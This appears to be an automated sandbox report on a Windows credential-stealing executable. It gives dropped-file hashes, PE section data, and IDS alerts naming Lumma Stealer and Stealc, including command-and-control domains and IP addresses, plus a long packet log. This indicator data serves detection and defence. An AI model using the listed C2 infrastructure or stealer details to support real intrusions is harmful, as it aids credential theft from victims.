	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe

Download File

Process:	C:\Users\user\Desktop\Y41xQGmT37.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2856960
Entropy (8bit):	6.530872759765761
Encrypted:	false
SSDEEP:	24576:nLk+07DQLpG+lqM89oNkTf4qdbiw6PF1NP5Z5ksZ+fvy2oSnNvmAQ9SJLWsfNp6r:LWL+lw73QVFbyJoSQ9wL7T65qI+1k
MD5:	54FDA3AEEC860324D9E721BF82B9B350
SHA1:	872CA4ADE7427E03993C88062CB5AB0E277A42F5
SHA-256:	15EE29E0C43B3388D79D2202698A751AA77F6226F0F5249D118E6522115A2A18
SHA-512:	759CCDE261A42543CD5E829CD3FEC876ED14EEB888F1295680201A9640C039EC6423ADD1E96AD44C84B138F2CD4094E0EBBA9A0DF0580A5861D972A5CABB7EE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: O3u9C8cpzl.exe, Detection: malicious, Browse Filename: niwvNnBk2p.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@...........................O......},...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wfoskafw..*...$...)..\|..............@...zpagxsbp......N......r+.............@....taggant.0....N.."...v+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Download File

Process:	C:\Users\user\Desktop\Y41xQGmT37.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1719808
Entropy (8bit):	7.9352026475450375
Encrypted:	false
SSDEEP:	49152:nsOhYiSSROeB/Jy2wWtlDfqDIerTqJznimPgJxl:1hh5LJy2wSftSmzXYH
MD5:	44C034B1AD003CD71788ED1DDE918242
SHA1:	5DA0B51A7C41EDEB1E1523528B848868B8890ED0
SHA-256:	B2759942F6A68E744EE51FB4518490BBD4499FBDA2E2F84DA4881781655CBDE9
SHA-512:	30196AD08AC5AEC1E780070AA94756ECA272F2509D3BF9BC2DB53C6150827040DC55396A6DC0ACA2619FB43634227AD60A94921B9A15A9A4A41A23365BCFAECA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: O3u9C8cpzl.exe, Detection: malicious, Browse Filename: niwvNnBk2p.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`D.. ...`....@.. ........................D.....9\....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... ..)..........8..............@...aviwlvzz.....`*......:..............@...ondpugpz. ...@D.....................@....taggant.@...`D.."..................@...........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9480180719825
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Y41xQGmT37.exe
File size:	1'838'592 bytes
MD5:	ffd3e08783983aa539d8056c4a45755a
SHA1:	35319d1dfd1accbf215edf312d26c62ffe44193b
SHA256:	f0a572023009f960fc10a93f127dd60641929b63a63f9c51c8a0c2e2aec6f5f0
SHA512:	079743895dbf994875f12309db2493e1a6365a92e76aea3e0494e2a99bedd3e93a14298a6cef1543ab00748d44aad36f41ffac841e0de72f48458a66c701f4af
SSDEEP:	24576:UrDQ6pmRyeSkPdHxifiRY0jMMPtGHrd2Fhn084JoXSZH0CHlle+Vq5W6v+XgzB06:6aQvkFHfYMftGHRQ5+QM0CFWvrz3sN
TLSH:	66853381725B6D2BE00E59B51483EF432E260CC150E666BE730CB51648737A77ED2BAB
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@.......................... I...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x88f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F28E48B627Ah
paddsb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	77858c676c07102470447f2ad965b4c9	False	0.9973980629280822	data	7.979235804546558	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a1000	0x200	05e19b55d3007737438108d7e106011a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kohmmiqt	0x2f5000	0x199000	0x198800	7c0a113b0558c77237379ad2a37283b4	False	0.9946014142824358	data	7.95300420170329	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dhywrchu	0x48e000	0x1000	0x400	77f1c449651a45d295a78233a3dc14e3	False	0.7841796875	data	6.126792175122573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x48f000	0x3000	0x2200	4f9549070cb951796da2e57839ae3fb1	False	0.060317095588235295	DOS executable (COM)	0.7005715831074645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:40:18.849752+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.7	64942	1.1.1.1	53	UDP
2024-12-19T08:40:18.993028+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	59868	1.1.1.1	53	UDP
2024-12-19T08:40:20.374362+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:20.374362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:21.321859+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:21.321859+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:22.552560+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:22.552560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:23.405758+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:23.405758+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:24.973014+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:40:24.973014+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:40:27.356642+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49702	104.21.64.80	443	TCP
2024-12-19T08:40:27.356642+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	104.21.64.80	443	TCP
2024-12-19T08:40:29.636964+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49704	104.21.64.80	443	TCP
2024-12-19T08:40:29.636964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	104.21.64.80	443	TCP
2024-12-19T08:40:32.267126+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49710	104.21.64.80	443	TCP
2024-12-19T08:40:32.267126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49710	104.21.64.80	443	TCP
2024-12-19T08:40:33.063220+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49710	104.21.64.80	443	TCP
2024-12-19T08:40:34.727016+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49716	104.21.64.80	443	TCP
2024-12-19T08:40:34.727016+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49716	104.21.64.80	443	TCP
2024-12-19T08:40:38.373296+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49725	104.21.64.80	443	TCP
2024-12-19T08:40:38.373296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49725	104.21.64.80	443	TCP
2024-12-19T08:40:39.197121+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49725	104.21.64.80	443	TCP
2024-12-19T08:40:40.653642+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49732	185.215.113.16	80	TCP
2024-12-19T08:41:00.260942+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49778	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:40:19.146568060 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:19.146619081 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:19.146739960 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:19.150502920 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:19.150517941 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:20.374274015 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:20.374361992 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:20.385426998 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:20.385453939 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:20.385750055 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:20.432683945 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:20.508212090 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:20.508229017 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:20.508348942 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.321861982 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.321949959 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.322021008 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.324023008 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.324043036 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.324286938 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.324292898 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.331129074 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.331173897 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:21.331748962 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.332030058 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:21.332045078 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:22.552458048 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:22.552560091 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:22.602777958 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:22.602798939 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:22.603152990 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:22.604341030 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:22.604363918 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:22.604427099 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.405756950 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.405808926 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.405899048 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.405937910 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.406414032 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.406469107 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.406485081 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.407079935 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.407207966 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.407227993 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.408708096 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.408767939 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.408792973 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.416822910 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.416881084 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.416893005 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.416924953 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.416975975 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.425503016 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.425652027 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.425765038 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.425796986 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.479572058 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.525609016 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.573296070 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.597764015 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.601581097 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.601618052 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.601705074 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.601713896 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.601773024 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.602031946 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.602031946 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.602055073 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.602063894 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.759155989 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.759200096 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:23.759279013 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.759882927 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:23.759896040 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:24.971122980 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:24.973014116 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:25.099453926 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:25.099486113 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:25.100526094 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:25.124355078 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:25.124355078 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:25.124450922 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:26.019339085 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:26.019459009 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:26.019555092 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:26.019804001 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:26.019825935 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:26.141021013 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:26.141064882 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:26.141160965 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:26.141496897 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:26.141513109 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:27.356539011 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:27.356642008 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:27.358064890 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:27.358082056 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:27.358316898 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:27.359833956 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:27.360012054 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:27.360044003 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:27.360100985 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:27.407341957 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:28.216265917 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:28.216350079 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:28.216393948 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:28.216572046 CET	49702	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:28.216592073 CET	443	49702	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:28.423046112 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:28.423096895 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:28.423254967 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:28.423472881 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:28.423487902 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:29.636847973 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:29.636964083 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:29.638269901 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:29.638281107 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:29.638511896 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:29.639592886 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:29.639735937 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:29.639758110 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:29.639837980 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:29.639844894 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:30.618482113 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:30.618577003 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:30.618618011 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:30.618751049 CET	49704	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:30.618768930 CET	443	49704	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:31.056173086 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:31.056202888 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:31.056276083 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:31.056592941 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:31.056602001 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:32.266904116 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:32.267126083 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:32.268794060 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:32.268811941 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:32.269078970 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:32.270818949 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:32.270911932 CET	49710	443	192.168.2.7	104.21.64.80
